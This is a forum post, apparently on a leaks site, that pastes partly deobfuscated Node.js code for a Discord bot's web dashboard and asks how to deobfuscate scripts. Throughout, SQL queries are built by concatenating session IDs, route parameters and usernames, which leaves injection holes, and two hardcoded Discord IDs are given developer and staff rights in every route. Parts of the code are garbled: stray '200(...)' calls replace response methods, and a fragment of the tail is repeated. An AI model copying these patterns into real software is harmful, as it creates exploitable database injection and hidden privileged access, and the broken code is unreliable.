                      }
                      _0x107036.render('account.ejs', {
                        user: _0x192f4e,
                        loggedIn: _0x462e4d.isAuthenticated(),
                        siteInfo: _0x53c1d2[0],
                        isStaff: _0x2b0d62,
                        buttons: _0x3c8f12,
                        isUserBanned: _0x5b6d56,
                        isOwner: _0x13cad0,
                        userBans: _0x526bc7,
                        isDev: dev,
                      })
                    }
                  )
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/report', checkAuth, async function (_0x2b9de8, _0x22ba2f) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x2e970c, _0xac0246) {
      let _0x1debe3
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x2b9de8.session.passport.user.id +
          '"',
        async function (_0x24395c, _0xe732fa) {
          if (_0x24395c) {
            throw _0x24395c
          }
          if (!_0xe732fa[0]) {
            _0x1debe3 = false
            if (
              config.bot.owners.includes(_0x2b9de8.session.passport.user.id)
            ) {
              _0x1debe3 = true
            }
          } else {
            _0x1debe3 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x136b14, _0x5569f5) {
              if (_0x136b14) {
                throw _0x136b14
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x2b9de8.session.passport.user.id +
                  '"',
                async function (_0x15a125, _0x2732ed) {
                  let _0x500fe9
                  if (_0x15a125) {
                    throw _0x15a125
                  }
                  if (!_0x2732ed[0]) {
                    _0x500fe9 = 'False'
                  } else {
                    if (_0x2732ed[0].active == 1) {
                      _0x500fe9 = 'True'
                    } else {
                      _0x500fe9 = 'False'
                    }
                  }
                  let _0x2786f2
                  if (
                    config.bot.owners.includes(
                      _0x2b9de8.session.passport.user.id
                    )
                  ) {
                    _0x2786f2 = true
                  } else {
                    _0x2786f2 = false
                  }
                  if (_0x2b9de8.isAuthenticated()) {
                    if (
                      _0x2b9de8.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x2b9de8.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x1debe3 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x22ba2f.render('report.ejs', {
                    user: _0x2b9de8.session.passport.user,
                    loggedIn: _0x2b9de8.isAuthenticated(),
                    siteInfo: _0xac0246[0],
                    isStaff: _0x1debe3,
                    buttons: _0x5569f5,
                    isUserBanned: _0x500fe9,
                    isOwner: _0x2786f2,
                    userBans: _0x2732ed,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/appeal', checkAuth, async function (_0xe81f44, _0x1e80bd) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x12ad2b, _0x563051) {
      let _0x5024b4
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0xe81f44.session.passport.user.id +
          '"',
        async function (_0x5c1789, _0x409c12) {
          if (_0x5c1789) {
            throw _0x5c1789
          }
          if (!_0x409c12[0]) {
            _0x5024b4 = false
            if (
              config.bot.owners.includes(_0xe81f44.session.passport.user.id)
            ) {
              _0x5024b4 = true
            }
          } else {
            _0x5024b4 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x6635a4, _0x13fb85) {
              if (_0x6635a4) {
                throw _0x6635a4
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId="' +
                  _0xe81f44.session.passport.user.id +
                  '"',
                async function (_0x17e315, _0x1e91ca) {
                  let _0xff8985
                  if (_0x17e315) {
                    throw _0x17e315
                  }
                  if (!_0x1e91ca[0]) {
                    _0xff8985 = false
                  } else {
                    if (_0x1e91ca[0].active === 'true') {
                      _0xff8985 = true
                    } else {
                      if (_0x1e91ca[0].active === 'false') {
                        _0xff8985 = false
                      }
                    }
                  }
                  let _0x29d8a7
                  if (
                    config.bot.owners.includes(
                      _0xe81f44.session.passport.user.id
                    )
                  ) {
                    _0x29d8a7 = true
                  } else {
                    _0x29d8a7 = false
                  }
                  if (_0xe81f44.isAuthenticated()) {
                    if (
                      _0xe81f44.session.passport.user.id ===
                        '539975000799838249' ||
                      _0xe81f44.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x5024b4 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x1e80bd.render('appeal.ejs', {
                    user: _0xe81f44.session.passport.user,
                    loggedIn: _0xe81f44.isAuthenticated(),
                    siteInfo: _0x563051[0],
                    isStaff: _0x5024b4,
                    buttons: _0x13fb85,
                    isUserBanned: _0xff8985,
                    isOwner: _0x29d8a7,
                    userBans: _0x1e91ca,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/search', checkAuth, async function (_0x2a2c14, _0x4a932d) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x1cefb2, _0x38296d) {
      let _0x253d95
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x2a2c14.session.passport.user.id +
          '"',
        async function (_0x4d9c54, _0x52403e) {
          if (_0x4d9c54) {
            throw _0x4d9c54
          }
          if (!_0x52403e[0]) {
            _0x253d95 = false
            if (
              config.bot.owners.includes(_0x2a2c14.session.passport.user.id)
            ) {
              _0x253d95 = true
            }
          } else {
            _0x253d95 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x2790bf, _0x152a1b) {
              if (_0x2790bf) {
                throw _0x2790bf
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId="' +
                  _0x2a2c14.session.passport.user.id +
                  '"',
                async function (_0x27ef14, _0x2c15d) {
                  let _0x2a30ce
                  if (_0x27ef14) {
                    throw _0x27ef14
                  }
                  if (!_0x2c15d[0]) {
                    _0x2a30ce = false
                  } else {
                    if (_0x2c15d[0].active === '1') {
                      _0x2a30ce = true
                    } else {
                      if (_0x2c15d[0].active === 'no') {
                        _0x2a30ce = false
                      }
                    }
                  }
                  let _0x52c282
                  if (
                    config.bot.owners.includes(
                      _0x2a2c14.session.passport.user.id
                    )
                  ) {
                    _0x52c282 = true
                  } else {
                    _0x52c282 = false
                  }
                  if (_0x2a2c14.isAuthenticated()) {
                    if (
                      _0x2a2c14.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x2a2c14.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x253d95 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x4a932d.render('search.ejs', {
                    user: _0x2a2c14.session.passport.user,
                    loggedIn: _0x2a2c14.isAuthenticated(),
                    siteInfo: _0x38296d[0],
                    isStaff: _0x253d95,
                    buttons: _0x152a1b,
                    isUserBanned: _0x2a30ce,
                    isOwner: _0x52c282,
                    userBans: _0x2c15d,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/dashboard', checkAuth, async function (_0x35b240, _0x5e821e) {
  let _0x3930a7 = []
  let _0x32627e = []
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x3698eb, _0xb41321) {
      let _0x311e91
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x35b240.session.passport.user.id +
          '"',
        async function (_0x1441ac, _0x33efad) {
          if (_0x1441ac) {
            throw _0x1441ac
          }
          if (!_0x33efad[0]) {
            _0x311e91 = false
            if (
              config.bot.owners.includes(_0x35b240.session.passport.user.id)
            ) {
              _0x311e91 = true
            }
          } else {
            _0x311e91 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x480c6a, _0x3ec433) {
              if (_0x480c6a) {
                throw _0x480c6a
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x35b240.session.passport.user.id +
                  '"',
                async function (_0x53d5bd, _0x5ea7bb) {
                  let _0x37d39b
                  if (_0x53d5bd) {
                    throw _0x53d5bd
                  }
                  if (!_0x5ea7bb[0]) {
                    _0x37d39b = 'False'
                  } else {
                    if (_0x5ea7bb[0].active == 1) {
                      _0x37d39b = 'True'
                    } else {
                      _0x37d39b = 'False'
                    }
                  }
                  let _0x59edf5
                  if (
                    config.bot.owners.includes(
                      _0x35b240.session.passport.user.id
                    )
                  ) {
                    _0x59edf5 = true
                  } else {
                    _0x59edf5 = false
                  }
                  if (_0x35b240.isAuthenticated()) {
                    if (
                      _0x35b240.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x35b240.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x311e91 = true
                    } else {
                      dev = false
                    }
                  }
                  await _0x35b240.session.passport.user.guilds.forEach(
                    async function (_0x4224d7) {
                      if (_0x4224d7.owner) {
                        let _0x48f032 = await client.guilds.cache.get(
                          _0x4224d7.id
                        )
                        if (!_0x48f032) {
                          let _0x4ce1e9 = {
                            button: 'Invite Me',
                            style: 'guild-invite',
                            imgstyle: 'imgguildstyle-invite',
                            btn: 'btn-red',
                            target: '_blank',
                            link:
                              'https://discord.com/api/oauth2/authorize?client_id=' +
                              client.user.id +
                              '&permissions=8&scope=bot%20applications.commands',
                            data: _0x4224d7,
                          }
                          _0x32627e.push(_0x4ce1e9)
                        } else {
                          let _0x23e9b3 = {
                            button: 'Manage Guild',
                            style: 'guild-manage',
                            imgstyle: 'imgguildstyle-manage',
                            btn: 'btn-success',
                            target: '',
                            link: '/dashboard/manage/' + _0x4224d7.id,
                            data: _0x4224d7,
                          }
                          _0x32627e.push(_0x23e9b3)
                        }
                      }
                    }
                  )
                  _0x5e821e.render('dashboard.ejs', {
                    user: _0x35b240.session.passport.user,
                    loggedIn: _0x35b240.isAuthenticated(),
                    siteInfo: _0xb41321[0],
                    isStaff: _0x311e91,
                    buttons: _0x3ec433,
                    isUserBanned: _0x37d39b,
                    isOwner: _0x59edf5,
                    userBans: _0x5ea7bb,
                    isDev: dev,
                    bot: client,
                    guilds: _0x32627e,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get(
  '/dashboard/manage/:id',
  checkAuth,
  async function (_0x505a6a, _0x16173d) {
    client.con.query(
      'SELECT * FROM siteSettings WHERE id="1"',
      async function (_0x1f84e7, _0x4080df) {
        let _0x4aa4b2
        client.con.query(
          'SELECT * FROM staff WHERE staffid="' +
            _0x505a6a.session.passport.user.id +
            '"',
          async function (_0x3b3727, _0x3ef541) {
            if (_0x3b3727) {
              throw _0x3b3727
            }
            if (!_0x3ef541[0]) {
              _0x4aa4b2 = false
              if (
                config.bot.owners.includes(_0x505a6a.session.passport.user.id)
              ) {
                _0x4aa4b2 = true
              }
            } else {
              _0x4aa4b2 = true
            }
            let _0x32dcf0 = _0x505a6a.params.id
            client.con.query(
              'SELECT * FROM siteHeadButtons',
              async function (_0x48462d, _0x348184) {
                if (_0x48462d) {
                  throw _0x48462d
                }
                client.con.query(
                  'SELECT * FROM bans WHERE bannedUserId = "' +
                    _0x505a6a.session.passport.user.id +
                    '"',
                  async function (_0x58a10f, _0x23c925) {
                    let _0x374a6c
                    if (_0x58a10f) {
                      throw _0x58a10f
                    }
                    if (!_0x23c925[0]) {
                      _0x374a6c = 'False'
                    } else {
                      if (_0x23c925[0].active == 1) {
                        _0x374a6c = 'True'
                      } else {
                        _0x374a6c = 'False'
                      }
                    }
                    let _0x1e5bd1
                    if (
                      config.bot.owners.includes(
                        _0x505a6a.session.passport.user.id
                      )
                    ) {
                      _0x1e5bd1 = true
                    } else {
                      _0x1e5bd1 = false
                    }
                    if (_0x505a6a.isAuthenticated()) {
                      if (
                        _0x505a6a.session.passport.user.id ===
                          '539975000799838249' ||
                        _0x505a6a.session.passport.user.id ===
                          '668497496124686347'
                      ) {
                        dev = true
                        _0x4aa4b2 = true
                      } else {
                        dev = false
                      }
                    }
                    let _0x3bbc84 = client.guilds.cache.get(_0x505a6a.params.id)
                    client.con.query(
                      'SELECT * FROM guildsettings WHERE guildid = "' +
                        _0x505a6a.params.id +
                        '"',
                      async function (_0xc66c52, _0x15d986) {
                        if (_0xc66c52) {
                          throw _0xc66c52
                        }
                        if (!_0x15d986[0]) {
                          client.con.query(
                            'INSERT INTO guildsettings (guildid, autobans) VALUES ("' +
                              _0x505a6a.params.id +
                              '", "1")',
                            async function (_0x3dc44a) {
                              if (_0x3dc44a) {
                                throw _0x3dc44a
                              }
                            }
                          )
                        }
                        client.con.query(
                          'SELECT * FROM guildsettings WHERE guildid = "' +
                            _0x505a6a.params.id +
                            '"',
                          async function (_0x1fe5c7, _0x207619) {
                            if (_0x1fe5c7) {
                              throw _0x1fe5c7
                            }
                            _0x16173d.render('manageGuild.ejs', {
                              user: _0x505a6a.session.passport.user,
                              loggedIn: _0x505a6a.isAuthenticated(),
                              siteInfo: _0x4080df[0],
                              isStaff: _0x4aa4b2,
                              buttons: _0x348184,
                              isUserBanned: _0x374a6c,
                              isOwner: _0x1e5bd1,
                              userBans: _0x23c925,
                              isDev: dev,
                              guild: _0x3bbc84,
                              guildSettings: _0x207619[0],
                            })
                          }
                        )
                      }
                    )
                  }
                )
              }
            )
          }
        )
      }
    )
  }
)
app.get('/staff', checkAuth, async function (_0x517470, _0x2d8265) {
  let _0x297c9e
  let _0x278702
  let _0x3df55c
  let _0x9e914f = []
  let _0x5c7813 = []
  let _0x42b988 = []
  client.con.query(
    'SELECT * FROM staff WHERE staffid="' +
      _0x517470.session.passport.user.id +
      '"',
    async function (_0x38a10a, _0x3ac4a8) {
      if (_0x38a10a) {
        throw _0x38a10a
      }
      if (!_0x3ac4a8[0]) {
        _0x297c9e = false
        if (config.bot.owners.includes(_0x517470.session.passport.user.id)) {
          _0x297c9e = true
        }
      } else {
        _0x297c9e = true
      }
      client.con.query(
        'SELECT * FROM siteSettings WHERE id="1"',
        async function (_0x5aad16, _0x391e6f) {
          if (_0x297c9e) {
            if (
              config.bot.owners.includes(_0x517470.session.passport.user.id)
            ) {
              _0x278702 = true
            } else {
              _0x278702 = false
            }
            if (_0x517470?.query?.page) {
              _0x3df55c = '/' + _0x517470.query.page
            } else {
              _0x3df55c = 'none'
            }
            client.con.query(
              'SELECT * FROM siteHeadButtons',
              async function (_0xaea17d, _0x49ab9e) {
                if (_0xaea17d) {
                  throw _0xaea17d
                }
                await client.con.query(
                  'SELECT * FROM staff',
                  async function (_0x54471c, _0x14cf16) {
                    if (_0x54471c) {
                      throw _0x54471c
                    }
                    await _0x14cf16.forEach(async function (_0x786f5) {
                      let _0x53eaf6 = Number(_0x786f5.staffid)
                      if (!isNaN(_0x53eaf6)) {
                        let _0x216590 = await client.users.fetch(
                          _0x786f5.staffid
                        )
                        let _0x52b721 = await client.users.fetch(
                          _0x786f5.userid
                        )
                        await _0x9e914f.push({
                          staffid: _0x786f5.staffid,
                          stafftag: _0x216590.tag,
                          userid: _0x786f5.userid,
                          usertag: _0x52b721.tag,
                        })
                      } else {
                        await client.con.query(
                          'DELETE FROM staff WHERE staffid="' +
                            _0x786f5.staffid +
                            '" LIMIT 1',
                          async function (_0x229fef, _0x14dcf3) {
                            if (_0x229fef) {
                              throw _0x229fef
                            }
                          }
                        )
                      }
                    })
                    await client.guilds.cache.forEach(async function (
                      _0x349f9e
                    ) {
                      const _0x213d08 = await client.users
                        .fetch(_0x349f9e.ownerId)
                        .catch((_0x413d6c) => {})
                      let _0x4e9fb2 = moment(_0x349f9e.createdAt)
                      let _0xf07208 =
                        _0x4e9fb2.format('DD/MM/YYYY') +
                        '( ' +
                        _0x4e9fb2.fromNow() +
                        ' )'
                      _0x5c7813.push({
                        guildId: _0x349f9e.id,
                        guildName: _0x349f9e.name,
                        ownerId: _0x213d08.id,
                        ownerTag: _0x213d08.tag,
                        guildIcon:
                          'https://cdn.discordapp.com/icons/' +
                          _0x349f9e.id +
                          '/' +
                          _0x349f9e.icon,
                        guildCreated: _0x349f9e.createdAt,
                        guildMembers: _0xf07208,
                      })
                    })
                    if (_0x517470.isAuthenticated()) {
                      if (
                        _0x517470.session.passport.user.id ===
                          '539975000799838249' ||
                        _0x517470.session.passport.user.id ===
                          '668497496124686347'
                      ) {
                        dev = true
                        _0x297c9e = true
                      } else {
                        dev = false
                      }
                    }
                    if (!_0x297c9e) {
                      200('/')
                    }
                    client.con.query(
                      'SELECT * FROM users',
                      async function (_0x28cae2, _0x234757) {
                        if (_0x28cae2) {
                          throw _0x28cae2
                        }
                        client.con.query(
                          'SELECT * FROM bans',
                          async function (_0x211478, _0x46ac17) {
                            if (_0x211478) {
                              throw _0x211478
                            }
                            await _0x46ac17.forEach(async (_0x123375) => {
                              await _0x42b988.push({
                                userid: _0x123375.bannedUserId,
                                userTag: _0x123375.bannedUserTag,
                                staffid: _0x123375.staffMemberId,
                                staffTag: _0x123375.staffMemberTag,
                                reason: _0x123375.reason,
                                prrof: _0x123375.proof,
                                banId: _0x123375.banId,
                                time: _0x123375.dateTime,
                                active: _0x123375.active,
                                id: _0x123375.banId,
                              })
                            })
                            _0x2d8265.statusCode = 200
                            200('Content-Type', 'text/html')
                            200('staffhome.ejs', {
                              userCon: _0x234757,
                              bot: client,
                              user: _0x517470.session.passport.user,
                              loggedIn: _0x517470.isAuthenticated(),
                              config: config,
                              siteInfo: _0x391e6f[0],
                              isStaff: _0x297c9e,
                              isOwner: _0x278702,
                              page: _0x3df55c,
                              buttons: _0x49ab9e,
                              staff: _0x9e914f,
                              guilds: _0x5c7813,
                              bans: _0x42b988,
                            })
                          }
                        )
                      }
                    )
                  }
                )
              }
            )
          } else {
            200('/')
          }
        }
      )
    }
  )
})
app.get('/error', checkAuth, async function (_0x1005d7, _0x3a3e5f) {
  var _0x4ea81e = _0x1005d7.query.err || 'An error occured, go back.'
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x588892, _0x8bcd44) {
      let _0x43ff90
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x1005d7.session.passport.user.id +
          '"',
        async function (_0x199c9c, _0x2cfedf) {
          if (_0x199c9c) {
            throw _0x199c9c
          }
          if (!_0x2cfedf[0]) {
            _0x43ff90 = false
            if (
              config.bot.owners.includes(_0x1005d7.session.passport.user.id)
            ) {
              _0x43ff90 = true
            }
          } else {
            _0x43ff90 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0xe23a1e, _0x1aec5c) {
              if (_0xe23a1e) {
                throw _0xe23a1e
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x1005d7.session.passport.user.id +
                  '"',
                async function (_0x34b7fb, _0x403035) {
                  let _0x1c0735
                  if (_0x34b7fb) {
                    throw _0x34b7fb
                  }
                  if (!_0x403035[0]) {
                    _0x1c0735 = 'False'
                  } else {
                    if (_0x403035[0].active == 1) {
                      _0x1c0735 = 'True'
                    } else {
                      _0x1c0735 = 'False'
                    }
                  }
                  let _0x202df8
                  if (
                    config.bot.owners.includes(
                      _0x1005d7.session.passport.user.id
                    )
                  ) {
                    _0x202df8 = true
                  } else {
                    _0x202df8 = false
                  }
                  if (_0x1005d7.isAuthenticated()) {
                    if (
                      _0x1005d7.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x1005d7.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x43ff90 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x3a3e5f.render('error.ejs', {
                    user: _0x1005d7.session.passport.user,
                    loggedIn: _0x1005d7.isAuthenticated(),
                    siteInfo: _0x8bcd44[0],
                    isStaff: _0x43ff90,
                    buttons: _0x1aec5c,
                    isUserBanned: _0x1c0735,
                    isOwner: _0x202df8,
                    userBans: _0x403035,
                    isDev: dev,
                    bot: client,
                    error: _0x4ea81e,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/discorduserdata', checkAuth, async function (_0x55d5a1, _0xc16733) {
  _0xc16733
    .type('json')
    .send(JSON.stringify(_0x55d5a1.session.passport.user, null, 4) + '\n')
})
app.get('/auth/discord', passport.authenticate('discord'))
app.get(
  '/auth/discord/callback',
  passport.authenticate('discord', { failureRedirect: '/' }),
  async function (_0x1f1fdb, _0x58287c) {
    client.con.query(
      "SELECT * FROM users WHERE userId = '" +
        _0x1f1fdb.session.passport.user.id +
        "'",
      (_0x307254, _0x448d34) => {
        if (_0x448d34[0]) {
        } else {
          let _0x182920 = _0x1f1fdb.session.passport.user.username
            .replaceAll('"', ' ')
            .replaceAll('`', ' ')
          client.con.query(
            "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('" +
              _0x1f1fdb.session.passport.user.id +
              "', '" +
              _0x182920 +
              "', '" +
              _0x1f1fdb.session.passport.user.tag +
              "', '" +
              _0x1f1fdb.session.passport.user.email +
              "')",
            function (_0x5bda17, _0x39393c) {
              if (_0x5bda17) {
                console.log(_0x5bda17)
              }
            }
          )
        }
      }
    )
    if (_0x1f1fdb.session?.loginRef) {
      _0x58287c.redirect(_0x1f1fdb.session.loginRef)
    } else {
      _0x58287c.redirect('/')
    }
    delete _0x1f1fdb.session?.loginRef
    client.users.fetch(_0x1f1fdb.session.passport.user.id).then((_0x16f282) => {
      moment.locale('en')
      let _0x51c5ed = new MessageActionRow().addComponents(
        new MessageButton()
          .setLabel('User Account')
          .setStyle('LINK')
          .setURL(
            (config.app.domain.endsWith('/')
              ? config.app.domain.slice(0, -1)
              : config.app.domain) +
              '/account/' +
              _0x16f282.id
          )
      )
      let _0xba4690 = new MessageEmbed()
        .setTitle('User Logged In')
        .setDescription(
          '**User:** ' +
            _0x16f282 +
            ' ' +
            _0x16f282.tag +
            ' (`' +
            _0x16f282.id +
            '`)\n**Time:** <t:' +
            moment().unix() +
            ':R> | ' +
            moment().format('LLLL')
        )
        .setThumbnail(_0x16f282.displayAvatarURL({ dynamic: true }))
        .setFooter({
          text: '' + client.user.username,
          iconURL: client.user.displayAvatarURL({ dynamic: true }),
        })
      const _0x5b3287 = client.channels.cache.get(config.info.siteLogs)
      _0x5b3287.send({
        embeds: [_0xba4690],
        components: [_0x51c5ed],
      })
    })
  }
)
app.get('*', function (_0x5282a9, _0x196a96) {
  _0x196a96.render('404.ejs')
})
app.listen(config.app.port)
process.report.reportOnFatalError = true
process.on('unhandledRejection', async (_0x364272) => {
  if (_0x364272.toString().includes('EADDRINUSE')) {
    return
  }
  const _0x13f4b9 = Date.now()
  console.log(_0x364272)
  let _0x29a4f3 = ['[ERR_HTTP_HEADERS_SENT]']
  let _0x1a7a3f = true
  _0x29a4f3.forEach(function (_0x46703a) {
    if (_0x364272.toString().includes(_0x46703a)) {
      _0x1a7a3f = false
    }
  })
  if (!_0x1a7a3f) {
    return
  }
  if (_0x364272.code === 'ER_NO_SUCH_TABLE') {
    return
  }
  const _0x501c8b = new formData()
  _0x501c8b.append('title', '[A] ' + _0x364272)
  _0x501c8b.append('description', '```\n' + _0x364272.stack + '```')
  _0x501c8b.append('category', 'Automatic')
  _0x501c8b.append('versions', '2.0.6')
  _0x501c8b.append('links', '' + config.app.domain)
})
client.login(config.bot.token).catch((_0x314d88) => {
  console.log(_0x314d88.message)
})
{
    return
  }
  if (_0x364272.code === 'ER_NO_SUCH_TABLE') {
    return
  }
  const _0x501c8b = new formData()
  _0x501c8b.append('title', '[A] ' + _0x364272)
  _0x501c8b.append('description', '```\n' + _0x364272.stack + '```')
  _0x501c8b.append('category', 'Automatic')
  _0x501c8b.append('versions', '2.0.6')
  _0x501c8b.append('links', '' + config.app.domain)
})
client.login(config.bot.token).catch((_0x314d88) => {
  console.log(_0x314d88.message)
})

how do you deobfuscate scripts?

 

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    • No registered users viewing this page.


×
×
  • Create New...

Important Information

By continuing on Launcherleaks.net, you agree to our Terms of Use, Guidelines & Privacy Policy